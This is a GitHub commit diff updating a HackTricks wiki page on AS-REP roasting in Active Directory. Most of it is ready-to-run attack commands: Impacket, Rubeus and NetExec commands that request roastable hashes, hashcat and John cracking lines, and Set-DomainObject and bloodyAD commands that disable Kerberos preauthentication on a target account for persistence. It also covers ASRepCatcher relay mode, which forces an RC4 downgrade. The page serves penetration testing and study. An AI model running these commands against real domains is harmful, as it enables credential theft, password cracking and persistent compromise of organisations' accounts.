Skip to content

Commit 141f96e

Browse files
authored
Merge pull request #2224 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_asreproast_20260512_143717
Research Update Enhanced src/windows-hardening/active-direct...
2 parents fe2ee63 + 3cc0098 commit 141f96e

1 file changed

Lines changed: 24 additions & 11 deletions

File tree

src/windows-hardening/active-directory-methodology/asreproast.md

Lines changed: 24 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -25,49 +25,60 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get sear
2525
#### Request AS_REP message
2626

2727
```bash:Using Linux
28-
#Try all the usernames in usernames.txt
29-
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
30-
#Use domain creds to extract targets and target them
31-
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
28+
# Installed package entrypoint (same logic as GetNPUsers.py)
29+
impacket-GetNPUsers -no-pass -usersfile usernames.txt -dc-ip <dc_ip> <domain>/ -format hashcat -outputfile hashes.asreproast
30+
# Use domain creds to LDAP-enumerate roastable users and request them
31+
impacket-GetNPUsers <domain>/<user>:<pass> -request -format hashcat -outputfile hashes.asreproast
32+
# If you are running directly from the examples/ directory
33+
python GetNPUsers.py -no-pass <domain>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
3234
```
3335

3436
```bash:Using Windows
35-
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
37+
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username] [/aes]
3638
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
3739
```
3840

3941
> [!WARNING]
40-
> AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
42+
> Rubeus requests **RC4** by default, so Event ID **4768** usually shows **preauth type 0** and **ticket encryption type 0x17**. If you add **`/aes`** (or RC4 is disabled for the target), expect **AES etypes** instead.
4143
4244
#### Quick one-liners (Linux)
4345

4446
- Enumerate potential targets first (e.g., from leaked build paths) with Kerberos userenum: `kerbrute userenum users.txt -d domain --dc dc.domain`
45-
- Pull a single user’s AS-REP even with a **blank** password using `netexec ldap <dc> -u svc_scan -p '' --asreproast out.asreproast` (netexec also prints LDAP signing/channel binding posture).
46-
- Crack with `hashcat out.asreproast /path/rockyou.txt` – it auto-detects **-m 18200** (etype 23) for AS-REP roast hashes.
47+
- Roast a whole username list without valid creds using NetExec: `netexec ldap <dc> -u users.txt -p '' --asreproast out.asreproast`
48+
- If you do have creds, let NetExec query LDAP and request every roastable account for you: `netexec ldap <dc> -u <user> -p '<pass>' --asreproast out.asreproast [--kdcHost <dc_fqdn>]`
49+
- If the output starts with **`$krb5asrep$23$`**, crack it with Hashcat **`-m 18200`**. If it starts with **`$krb5asrep$17$`** or **`$krb5asrep$18$`**, prefer John **`--format=krb5asrep`**.
4750

4851
### Cracking
4952

53+
Don't assume every AS-REP roast is RC4. Modern tooling can return **RC4** (`$krb5asrep$23$`) or **AES** (`$krb5asrep$17$` / `$krb5asrep$18$`) depending on the requested/negotiated enctype. **`hashcat -m 18200`** is for **etype 23**, while **John** handles `krb5asrep` directly for **17/18/23**.
54+
5055
```bash
51-
john --wordlist=passwords_kerb.txt hashes.asreproast
52-
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
56+
john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
57+
hashcat -m 18200 -a 0 hashes.asreproast passwords_kerb.txt # RC4 / etype 23
5358
```
5459

5560
### Persistence
5661

5762
Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
5863

5964
```bash:Using Windows
65+
# Toggle DONT_REQ_PREAUTH on (run it again to toggle it back off during cleanup)
6066
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
6167
```
6268

6369
```bash:Using Linux
70+
# Enable ASREPRoastability
6471
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'
72+
# Cleanup
73+
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 remove uac -f DONT_REQ_PREAUTH 'target_user'
6574
```
6675

6776
## ASREProast without credentials
6877

6978
An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network without relying on Kerberos pre-authentication being disabled. It therefore works for all users on the VLAN.\
70-
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) allows us to do so. Moreover, the tool forces client workstations to use RC4 by altering the Kerberos negotiation.
79+
If you want the related no-credential trick that returns a **service ticket** instead of a **TGT** from a no-preauth principal, see [Kerberoast](kerberoast.md).
80+
81+
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) allows us to do so. `relay` mode is the interesting one offensively because it can force **RC4** when the client still advertises **etype 23**; `listen` stays passive and just captures whatever the client/DC negotiated.
7182

7283
```bash
7384
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
@@ -83,6 +94,8 @@ ASRepCatcher listen
8394
## References
8495

8596
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
97+
- [Roasting AES AS-REPs – MWR CyberSec](https://mwrcybersec.com/roasting-aes-as-reps)
98+
- [NetExec Wiki – ASREPRoast](https://www.netexec.wiki/ldap-protocol/asreproast)
8699
- [0xdf – HTB Bruno (AS-REP roast → ZipSlip → DLL hijack)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
87100

88101
---

0 commit comments

Comments
 (0)